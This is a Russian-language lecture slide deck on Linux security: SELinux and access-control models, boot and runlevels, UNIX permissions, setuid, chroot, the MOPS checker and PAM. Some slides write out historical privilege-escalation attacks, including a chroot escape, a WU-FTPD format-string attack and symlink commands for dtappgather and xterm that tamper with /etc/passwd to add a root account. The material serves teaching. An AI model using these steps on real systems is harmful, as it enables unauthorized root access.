• Избирательное управление доступом (DAC) базируется на подлинности и принадлежности пользователя, игнорируя остальную важную для безопасности информацию (роль пользователя, функцию и надежность программы, чувствительность и целостность данных) • Каждый пользователь, как правило, имеет полную свободу действий над своими файлами (сложность обеспечения политики безопасности всей системы) • Каждая программа, запущенная пользователем, наследует все разрешения, данные пользователю, и может свободно изменять доступ к пользовательским файлам так, что недостаток той или иной программы может быть использован для получения дополнительной информации о системе • Правила политик принудительного контроля доступа (MAC) устанавливаются учреждениями (вместо того, чтобы быть установленными лицами)
Структуры общего назначения для определения политик MAC: 1) Многоуровневая безопасность 2) Обеспечение домена и типа 3) Контроль доступа на основе ролей
Многоуровневая безопасность Метки – характеризуют содержание и определяют уровень доверия для сохранения секрета • Каждому документу D присваивается классификация L(D) • Каждому субъекту U присваивается разрешение L(U) • Классификация L формализуется парой 〈 SL , CL 〉 • Чувствительность SL (Совершенно секретно, Секретно и тд. ) – классифицирует наибольший ущерб национальной безопасности от раскрытия содержания документов • CL - набор категорий определяемый по имени какой-то конкретной области угрозы (химической, биологической или ядерной ) • Субъекту U позволено увидеть документ D только если выполнено условие L(D) ≤L(U). 〈 Секретно, биологическая〉 ≤ 〈 Сов. Сек. , биологическая/химическая〉 •
Обеспечение домена и типа (DTE) • • Матрица доступа (а не частичный порядок на метках) характеризует полномочия для политики MAC Каждая организация, которая запрашивает доступ, связана с доменом, который соответствует строке в матрице доступа; каждый объект связан с типом, который соответствует столбцу в матрице доступа Ячейки в матрице доступа дают набор привилегий, которыми будут обладать члены домена для объекта выбранного типа Домены также считаются типами Это позволяет матрице доступа указывать позволяет ли исполнение в одном домене перейти в другой.
Контроль доступа на основе ролей (RBAC)
Linux с улучшенной безопасностью (SELinux) • • Реализация механизма принудительного контроля доступа (MAC) в ядре Linux с дополнительной проверкой разрешенных операций после выполнения проверки стандартного избирательного контроля доступа (DAC) SELinux предоставляет сочетание контроля доступа на основе ролей (RBAC), обеспечение типов, и, по желанию, многоуровневую безопасность.
Терминология SELinux • • Процессы и файлы помечены специальной контекстной информацией SELinux, которая содержит дополнительные данные, такие как пользователя, роль, тип и , по желанию, уровень безопасности При использовании SELinux вся информация используется для принятия решений в контроле доступа
Контекстная информация SELinux • • • Пользователь (user), роль (role), тип (type), уровень (level) Идентификатор user, известный в политике SELinux, авторизован для определенного набора ролей. Каждый пользователь Linux сопоставлен с пользователем SELinux через политику SELinux role является атрибутом контроля доступа на основе ролей (RBAC). Пользователи SELinux авторизованы для ролей, а роли – для доменов type является атрибутом обеспечения типа. type определяет домен для процесса и тип для файлов. level является атрибутом многоуровневой безопасности. Каждый уровень представляет собой пару (<чувствительность> – [категория ])
Политика SELinux Контекст Безопасности определяется системный файлом политики Политика представляет собой скомпилированный файл, основанный на текстовом файле, заданном вами (или стандартном файле, который вы используете). Это определяет все различные контексты пользователей и файлов, которые будут активными в вашей системе Скомпилированный файл хранится в /etc/selinux/targeted/policy Он основан на контексте из /etc/selinux/targeted/contexts
Сервер Безопасности (SS) Логика принятия решений политики безопасности встраивается в новый компонент ядра, называемый Сервером Безопасности (СБ) СБ расставляет метки, принимает решения по предоставлению доступа и передаче Каждый файл получает информационную метку контекст безопасности (security context) Контекст безопасности является типом данных и может быть распознан только Сервером Безопасности СБ хранит контекст безопасности с тремя атрибутами безопасности: подлинность (identity), роль (role) и тип (type)
Архитектура SELinux Операции Модуль SELinux контекст Модули Безопасности Linux DAC 0/ERR Выполнение операций Сервер Безопасности Файлы политик (БД политик) selinuxfs
Работа с системой 1) 2) 3) 4) Включение системы Уровни выполнения Режимы Выключение системы
Включение системы Включение питания, POST, инициализация программного обеспечения • Загрузочное устройство выбирается посредством взаимодействия BIOS/пользователь • Считывается главная загрузочная запись • Инициализируется загрузчик lilo (LInux LOader) grub (GRand Unified Bootloader) •
Включение системы, продолжение • • Загрузчик выбирает и загружает ядро ОС Ядро хранится в виде скомпилированного образа Ядро загружает модули для функций аппаратного и программного обеспечения , прерывания, диспетчер устройств, управление памятью, подкачу страниц Вызывается init
init • • • Загружается первый код не из ядра Первый процесс является родительским для всех процессов в системе Он занимается запуском сервисов и программ, основываясь на уровнях выполнения, запускает подходящие скрипты
Уровни выполнения Набор определенных состояний системы, в которые может привести систему init 0: halt / выключение 1: режим одного пользователя 2: многопользовательский режим 3: многопользовательский режим с сетью 4: не используется 5: многопользовательский режим с сетью и графическим интерфейсом 6: перезагрузка
Скрипты Init работает со скриптами выполнения команд. Их можно найти в папке /etc/rc. d • Все скрипты расположены в /etc/rc. d/init. d • Каждый скрипт использует параметр для смены операции (начало/остановка/прерывание/ перезагрузка) • Каждый уровень выполнения находится в своей директории etc/rc. d/rc. N. d •
Уровни выполнения, продолжение • При загрузке init проверяет /etc/inittab, чтобы понят в какой уровень выполнения ввести систему • Изменить уровень выполнения при запуске можно выполнив telinit runlevel shutdown/halt/reboot • Каждый раз при изменении уровня выполнения init опрашивает набор скриптов, чтобы определить что запускать/останавливать
Скрипты продолжение Скрипты, В каждой директории уровня выполнения есть символьная ссылка на скрипты в /etc/rc. d/init. d Название ссылки имеет особое значение S в начале означает начало в этом уровне выполнения K в начале означает kill в этом уровне выполнения После S/K идет номер порядка • Start возрастающий • Kill убывыющий
Заметки Мы описали традиционный процесс Linux init/boot Разные дистрибутивы выполняются по-разному launchd in Mac OS X Upstart in Ubuntu Linux Initng in Debian, Gentoo, others Классический init называется System V init
Режим одного пользователя Режим выполнения 1 Только консоль без терминалов Минимальное окружение Некоторые файловые системы не могут быть установлены • Техническое обслуживание файловых систем • Исправление ошибок конфигурации • Восстановление при критических ошибках • •
Многопользовательский режим • Режим выполнения 2 -5 • Режим выполнения 2 позволяет логин через терминал • Режим выполнения 3 позволяет удаленный логин через терминал • Режим выполнения 5 дает доступ к графической среде X 11 • Для каждодневного использования обычно применяют режимы 3 и 5
![Выключение системы Синтаксис: shutdown [options] time [message] Time: XX или +Х или NOW -k:](https://present5.com/presentation/5966012_401771158/image-24.jpg "Выключение системы Синтаксис: shutdown [options] time [message] Time: XX или +Х или NOW -k:")
Выключение системы Синтаксис: shutdown [options] time [message] Time: XX или +Х или NOW -k: посылает сообщение вместо выключения -r: перезагрузка -h: остановка -c: отмена выключения Halt вызывается shutdown – h Reboot вызывается shutdown -r
Организация объектов • § - Почти все объекты смоделированы как файлы Файлы отсортированы по иерархии Файлы расположены в директориях Директории тоже являются типом файла У каждого объекта есть Владелец Группа 12 битов разрешений • rwx для владельца, rwx для группы, rwx для остальных • suid, sgid, sticky
Тип / Режим Значение ссылки ID пользователя ID группы Размер файла (в байтах) Дескрипторы Unix: Каждому файлу Соответствует дескриптор 10 адресов блоков данных Адрес индекс блока первого уровня Адрес индекс блока второго уровня Адрес индекс блока третьего уровня Не используется Время последнего открытия Время последнего редактирования Время создания 32 бита
Директории UNIX Таблица дескрипторов Каталог i 1 Имя 1 i 2 Имя 2 i 1 Имя 3 i 4 Имя 4
Стандартные разрешающие биты • Read отвечает за чтение содержимого файла • Write отвечает за изменение содержимого файла • Execute отвечает за загрузку файла в память и его исполнение
Исполнение файла • Бинарный файл или скрипт • Есть execute, но нет read. Можем ли мы запустить бинарный файл? • Есть execute, но нет read. Можем ли мы запустить скрипт? • Есть read, но нет execute. Можем ли мы запустить скрипт?
Разрешающие биты для директорий • Read позволяет увидеть имена файлов в директории • Бит execution отвечает за обход директории - Производит поиск, позволяет выделить дескриптор # из имени файла - chdir в директорию требует execution • Write + execution позволяет создавать или удалять файлы в директории - Удаление файла в директории не требует разрешений на самом файле • Доступ к файлу по пути к этому файлу требует execution для всех директорий по этому пути
Флаги (биты) suid, sgid, sticky suid sgid sticky bit Не исполняемые файлы Действий не выполняется Влияет на блокировку (для нас это не важно) Не используется где либо Исполняемые файлы Изменяет euid во время исполнения файла Изменяет egid во время исполнения файла Не используется где либо Каталоги Действий не выполняется Новые файлы наследуют группу каталога Только владелец файла может провести удаление
Примеры • Какие разрешения нужны для доступа к файлу/директории? - Прочитать файл /d 1/d 2/f 3 - Записать в файл /d 1/d 2/f 3 - Удалить файл /d 1/d 2/f 3 - Переименовать файл из /d 1/d 2/f 3 в /d 1/d 2/f 4 - … • Контроль доступа файлов/директорий осуществляется с помощью Системных Вызовов - open(2), stat(2), read(2), write(2), chmod(2), opendir(2), readlink(2), chdir(2), …
Три набора разрешающих битов • Интуитивно понятно: - Если пользователь является владельцем файла, то биты r/w/x присваиваются владельцу - Если пользователь принадлежит группе, которой принадлежит файл, то биты r/w/x присваиваются группе - В любом другом случает биты r/w/x присваиваются для остальных • Возможно ли создать негативную авторизацию, например, запретить одной конкретной группе доступ к файлу?
Дополнительные вопросы по объектам в UNIX • Доступ другим способом, кроме как r/w/x - Кто может изменять разрешающие биты? Владелец - Кто может изменить владельца файла? Только superuser • Права, не относящиеся к файлам - Те, что влияют на другие процессы - Такие операции, как выключение системы, монтирования новой файловой системы, прослушка порта - традиционно зарезервирован для root пользователя
Субъекты против Руководителей • Права доступа определяются для пользователей (аккаунтов) • Доступы осуществляются процессами (субъектами) • Ос должна знать от имени какого пользователя выполняется процесс
Модель пользовательских ID процессов в современных UNIX системах • У каждого процесса есть 3 пользовательских ID - real user ID (ruid) владелец процесса - effective user ID (euid) используется для большинства решений контроля доступа - saved user ID (suid) • И три групповых ID - real group ID - effective group ID - saved group ID
Модель пользовательских ID процессов в современных UNIX системах • Если процесс создан fork, то он наследует все три user ID из родительского процесса • Если процесс исполняет файл с помощью exec, то он сохраняет все 3 свои user ID, если только не установлен бит set-user-ID. В таком случает euid и suid назначаются значение user ID пользователя, которому принадлежит файл. • Любой процесс может менять user ID с помощью системных вызовов
Необходимость битов suid/sgid • Некоторые операции не смоделированы как файлы и требуют user id = 0 - Выключение системы - Установка или прослушка «привилегированных поротов » (порты TCP/UDP ниже 1024) - Не root пользователям требуются эти привилегии • Контроль доступа на уровне файлов не достаточно разбит • Целостность системы требует больше, чем контроль, кто может записывать, но и как было записано
Изменение euid • Процессы, исполняющие программы с установкой uid могут отказаться от привилегий. Они могу: - Отказаться от них навсегда убирает ID привилегирванного пользователя из всех трех user ID - Отказаться от них на время убирает ID привилегированного пользователя из euid, но сохраняет его в suid, чтобы потом их восстановить
Базовый механизм безопасности UNIX Setuid() позволяет системному процессу получить больше прав, чем есть у пользователя, который его запустил Устанавливает контролируемый доступ к системным ресурсам, таким как почта, принтеры и т. д. 99% локальных уязвимостей UNIX систем используют программы setuid-root для получения прав root Остальной 1% нацелен на саму систему Chroot() ограничивает процессу пользователя доступ к части файловой системы
Тюрьма chroot() В UNIX chroot() меняет директорию root Изначально используется для безопасной проверки системного кода Запрещает код отдельной части ФС Пример : Chdir /tmp/ghostview Chroot /tmp/ghostview Su tmpuser Потенциальные проблемы: Chroot() меняет root директорию, но не текущую Если забыть chdir, программа может «сбежать» из измененного root Если забыть поменять UID, процесс может «сбежать»
Только root должен исполнять chroot() иначе программа может сбежать mkdir(/temp) /* создать временную директорию */ chroot(/temp) /* теперь текущая дир вне тюрьмы */ chdir(“. . /. ”) /* перемещаем текущую дир в настоящую root дир */ ОС позволит обход, только если нынешний root етсь в пути… так ли это? chroot(“. ”) /* выбрался из тюрьмы*/ Тогда любой мог бы стать root Создаем фейковый файл паролей /tmp/etc/passwd Выполняем chroot (“/tmp”) Запускаем login или su (если возможно в тюрьме chroot) Вместо директории /etc/passwd будет подделка
Дополнительные программы в chroot тюрьме Файлы, нужные для /bit/sh /usr/ld. so. 1 разделенные библиотеки объектов /dev/zero чистая память, используемая разделенными объектами /usr/libc. so. 1 общая библиотека С /usr/libdl. so. 1 библиотека динамических ссылок доступа /usr/libw. so. 1 библиотека интернационализации /usr/libintl. so. 1 библиотека интернационализации
ID процессов в UNIX • У каждого процесса есть 3 пользовательских ID - real user ID (ruid) владелец процесса - effective user ID (euid) используется для большинства решений контроля доступа - saved user ID (suid)
Присваивание и отнятие привилегий Для получения прав, присвойте UID прав euid Для отнятия привилегий временно, удалите UID из euid, оставив его в suid Для отнятия прав навсегда, удалите UID из euid и suid
Установка UID внутри процессов Setuid(newuid) Если у процесса достаточно полномочий, установите в euid, ruid, suid значение newuid. Если newuid совпадает с real или saved uid, установите значение newuid в euid (Solaris или Linux) или в euid, ruid, suid (BSD) Что означает «достаточно полномочий» ? Solaris: euid =0 (процесс запущен от root) Linux: процесс совместим с SETUID • Использовать Setuid(geteuid()) не получится, если euid {0, ruid, suid} BSD: euid=0 OR newuid=geteuid()
Дополнительно о setuid Setuid(newuid) Разрешено, если euid=0, если neweuid совпадает с ruid или если newuid совпадает с euid (только в Solaris и Linux). Устанавливает euid, оставляя ruid и suid без изменений. Setreuid(newruid, neweuid) Устанавливает ruid и euid. Также может устанавливать suid при некоторых обстоятельствах. • Linux: если ruid установлен или euid не совпадает с предыдущим ruid, тогда сохраняет новый euid в suid Setresuid(newruid, neweuid, newsuid) Устанавливает ruid, suid, euid.
Модели конечного состояния setuid
Баг setuid в WU-FTPD – стандартный FTP сервер. Getdatasock() используется, когда запрашиваются команды передачи данных, такие как get или put. Что если повреждение кучи перезапишет pw->pw_uid нулем (0)? Принимаем права root для Установки параметров сокета Сбрасываем права, сбрасывая UID на кэшированное значение из кучи
Атака WU-FTPD Статус сервера FTPD запускается от имени root Действительный UID=0 pw->pw_uid инициализируется с UID Alice (pw->pw_uid=109) Действительный UID устанавливается равным 109 Команды клиента ftp target-machine //подключение к целевой машине USER alice // аутентифицируемся как Алиса PASS alice-correct-password SITE EXEC x 22x 33x 0x…%d%n // Эта команда позволяет перезаписать pw>pw_uid как 0 pw->pw_uid становится равным 0 Но действительный UID остается 109 CD/etc GET passwd //скачиваем фаил /etc/passwd FTPD получает команду GET вызывающую getdatasock. Из-за испорченности pw>pw_uid действительный UID устанавливается в 0 что предоставляет полный доступ к /etc/paswd Алиса теперь пользователь с root правами Модифицируем учетную запись Алисы, передавая ей UID root’а alice: x: 0: 0: : /home/root: /bin/bash PUT passwd //загружаем модифицированный /etc/passwd BYE
Атака dtappgather Создается временный файл в общедоступной для чтения директории без проверок на его существование. Файл может быть символьной ссылкой. % ls -l /etc/passwd -r------- 1 root other 1585 Dec 17 22: 26 /etc/passwd % ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0 % dtappgather Make. Directory: /var/dt/appconfig/appmanager/generic-display-0: File exists % ls -l /etc/passwd -r-xr-xr-x 1 users 1585 Dec 17 22: 26 /etc/passwd
Атака xterm Xterm является setuid-root Способен изменить владельца tty Дает доступ к utmp и wtmp Позволяет логировать команды в файл без проверки места назначения, если команда stat() не дает результатов % mkdir. /dummy % ln -s /etc/passwd. /dummy/passwd % chmod 200. /dummy # this will make stat() fail % ln -s /bin/sh /tmp/hs^M % xterm -l -lf dummy/passwd -e echo "rut: : 0: 1: : /: /tmp/hs" % rlogin localhost -l rut
Атака preserve /usr/lib/preserve используется редактором vi чтобы бэкап копию редактируемого файла и уведомлять пользователя Использует setuid-root Если процесс vi неожиданно прекращает свою работу, использует system(), чтобы запустить /bin/mail для отправки письма пользователю. Атака Злоумышленник заменяет внутреннюю разделительную символ на «/» • По умолчанию это пробел Создает программу «bin» в текущей директории Убивает запущенный процесс vi
Стандартные правила безопасности UNIX • Программы, использующие setuid-root, должны полностью сбрасывать права перед исполнением недоверенного кода • После вызова chroot() процесс должен немедленно вызвать chdir(“/”) • ОС не позволяет переход в директорию выше с использованием «. . » , только если достигнута директория chroot при переходе • Программы не должны передавать файлы с одинаковыми именами двум системным вызовам ни по какому пути • Многие баги систем безопасности являются прямым нарушением этих правил
MOPS: Model Checking Programs for Security Properties http: //www. cs. ucdavis. edu/~hchen/mops/ Стандартные правила описываются там как свойства безопасности, которые легко формализуются в теории конечных автоматов. Запускается проверщик моделей на исходном С коде для определения, какие небезопасные состояния может принят автомат независимо от пути выполнения Игнорируются указатели функций, хендлеры сигналов, длинные jump и библиотеки, подгруженные по ходу выполнения.
Пример свойства безопасности Свойство: каждая строка должна быть определена символом “ ” другое strncpy(d, s, n) Error d[n-1]=‘ ’
Правильный отказ от прав Задача: как определить, когда у программы есть права? Следить за ruid, euid, suid. Использовать конечные подели поведения setuid для слежения за UID Есть права execl() setuid(getuid()) Нет прав error
Создание безопасной тюрьмы chroot Свойство: после использования chroot немедленно должно быть использован chdir(“/”) другое chroot Error Chdir(”/”)
Условия для избегания подмены файла Свойство: программы не должны передавать файлы с одинаковыми именами двум системным вызовам ни по какому пути Задача: предотвратить условие TOCTTOU, которое позволяет злоумышленнику подменить файл между моментами проверки (вызовы stat или access) и использованием (вызов open) другое проверка access, readlink, lstat, statfs использование Error open, chmod, mkdir, rmdir, mount, remove, link, unlink…
Атака на временные файлы Имена временных файлов в Unix генерируются функцией mktemp() name=mktemp("/tmp/gs_XXXX"); fp=fopen(name, "w") Имена, полученные из ID процесса, могут быть предсказаны. Атака: в правильное время перенаправить файл. Создается ссылка /tmp/gs_12345 A -> /etc/passwd Это заставит программу переписать /etc/paswd Решение: mkstemp() создает и открывает файлы автоматически
Безопасное создание временных файлов Создавать файлы с непредсказуемыми именами Выдавать безопасные права Работая с файлами следует использовать их дескриптор, а не имя open, chmod, remove, unlink … mkstemp(x) fileop(x) Error mktemp, tempnam, tmpfile …
Пример ошибки, найденной MOPS Обычно Open. SSH сбрасывает права с помощью setuid(getuid()) Работает идентично и верно в BSD и Linux Open. SSH версии 2. 5. 2 и выше делает это так: Seteuid(geteuid()); setuid(getuid()); Seteuid(getuid()) оставляет root как suid В BSD setuid(getuid()) сбрасывает suid, а в Linux, так как euid 0, setuid() не сбрасывает suid Если злоумышленник запустит setuid(suid) позже, он получит root права в системе • Например, инъекцией вызова seteuid через переполнение буфера
Обоснованность и полнота MOPS обоснован, так как его программа • Однопоточная • Безопасна для памяти (нет переполнения буфера) • Портативна (нет встроенного кода) • Свободна от наложения переменных, зависящих от свойств Невозможна ситуация if stat(x) { y = x; open(y); } MOPS не полон • Множество техник для уменьшения ложных количества ложных срабатываний
Результаты работы MOPS Эксперимент: анализировать цельный дистрибутив Linux Redhat 9: все 732 пакета С, примерно 50 миллионов строк кода. Четво вручную проанализировали больше 900 ошибок. Был проведен исчерпывающий анализ TOCTTOU, tmpfile, статистическая выборка strncpy Свойство безопасности Warnings Реальные ошибки Процент ошибок TOCTTOU 790 41 5% Временные файлы 108 34 35% 1378 11+ ~ 5 -10% 2333 108+ strncpy всего
Аутентификация Локальная аутентификация Linux LDAP аутентификация NIS аутентификация Подключаемые модули аутентификации (PAM)
LDAP аутентификация
NIS аутентификация
Kerberos аутентификация
Подключаемые модули аутентификации
Следующие операции определены для использования Аутентификация Модуль проверяет аутентифицирован или имеет право пользователь запускать сервис или приложение. Например, модуль может запросить и проверить пароль. Такие модули могут устанавливать учетные данные, такие как принадлежность группе или тикет Kerberos Аккаунты Модуль проверяет может ли аутентифицированный пользователь получить доступ к сервису или приложению. Например, он может проверить, не просрочен ли аккаунт или разрешено ли пользователю запускать сервис в выделенное время Пароли В задачу модуля входит обновление токена аутентификации Сессии Этот модуль настраивает и управляет сессиями пользователей, выполня такие задачи, как установку и размонтирование домашней директории пользователя
Следующие контрольные флаги определены для использования Optional Модуль, необходимый для аутентификации, если это единственный модуль в списке для обслуживания Required Модуль должен отработать для получения доступа. PAM продолжает запускать все модули из стека независимо от того выполнился он или нет. РАМ не сообщает пользователю об ошибках Requisite Модуль должен отработать для получения доступа. PAM не продолжит выполнять оставшиеся модули из стека и уведомит пользователя об ошибке, если этот модуль не выполнится Sufficient Если модуль выполнится, PAM не будет выполнять оставшиеся модули того же типа. В другом случае будут выполнены все модули одного типа для определения общего количества удач и ошибок.
Управление паролями Linux включает в себя несколько возможностей для управления паролями и обеспечения мер безопасности. Когда в систему добавляется новый аккаунт, в /etc/password добавляется одна строка, но сам зашифрованный пароль хранится в /etc/shadow Файл с паролями shadow контролирует имя пользователя, зашифрованные данные пароля, дату последнего изменения пароля, время истечения срока аккаунта и др.
Управление паролями Linux Пользователь может менять свой пароль, используя утилиту passwd Когда введена эта команда, пользователю требуется ввести свой текущий пароль, а потом новый пароль два раза Passwd произведет несколько базовых проверок введенного пароля, но не сможет предотвратить использование слабого пароля Система теневых паролей используется по умолчанию в большинстве систем Linux
Управление паролями Linux Параметры утилиты passwd -d, --delete Удалить пароль пользователя (сделать его пустым). Это быстрый способ заблокировать пароль учётной записи. Это делает указанную учётную запись беспарольной. -e, --expire Немедленно сделать пароль устаревшим. В результате это заставит пользователя изменить пароль при следующем входе в систему. -i, --inactive. ДНЕЙ Этот параметр используется для блокировки учётной записи по прошествии заданного числа дней после устаревания пароля. То есть, если пароль устарел и прошло более указанных ДНЕЙ, то пользователь больше не сможет использовать данную учётную запись. -l, --lock Заблокировать указанную учётную запись. Этот параметр блокирует учётную запись изменяя значение пароля на вариант, который не может быть шифрованным паролем.
Управление паролями Linux Параметры утилиты passwd -u, --unlock Разблокировать указанную учётную запись. Этот параметр активирует учётную запись изменяя пароль на прежнее значение (которое было перед использованием параметра -l). -w, --warndays. ПРЕД_ДНЕЙ Установить число дней выдачи предупреждения, перед тем как потребуется смена пароля. В параметре ПРЕД_ДНЕЙ указывается число дней перед тем как пароль устареет, в течении которых пользователю будут напоминать, что пароль скоро устареет. -x, --maxdays. МАКС_ДНЕЙ Установить максимальное количество дней, в течении которых пароль остаётся рабочим. После МАКС_ДНЕЙ пароль нужно изменить.
Безопасность пароля • Создание сложных паролей • Использование дополнительных утилит для создания сложных паролей (pam_cracklib. so) • Использование парольных фраз • Добавление старения к паролю (chage)
• Блокировка неактивных аккаунтов (pam_lastlog PAM module, lastlog, last) • Кастомизация контроля доступа (pam_acess, /etc/security/acess. conf) • Временное разграничение доступа (pam time, /etc/security/time. conf) • Использование ограничений для аккаунтов (pam_limits, limits. conf)
Административное управление • • • Разрешение на root доступ Запрет root доступа Разрешение автоматического выхода из системы Ограничение root доступа Блокировка аккаунта
Пакеты TCP упаковщика – tcp_wrappers , tcp_wrappers-libs /libwrap. so , /lib 64/libwrap. so /etc/hosts. allow , /etc/hosts. deny Входящий запрос из интернета Межсетевой экран Запрос принят Запрос отклонен Упаковщик TCP xinetd Запрос принят Упаковщик TCP сетевого сервиса Контроллер xinetd сетевого сервиса
Скачать презентацию Избирательное управление доступом DAC базируется на
SELinux_перевод.pptx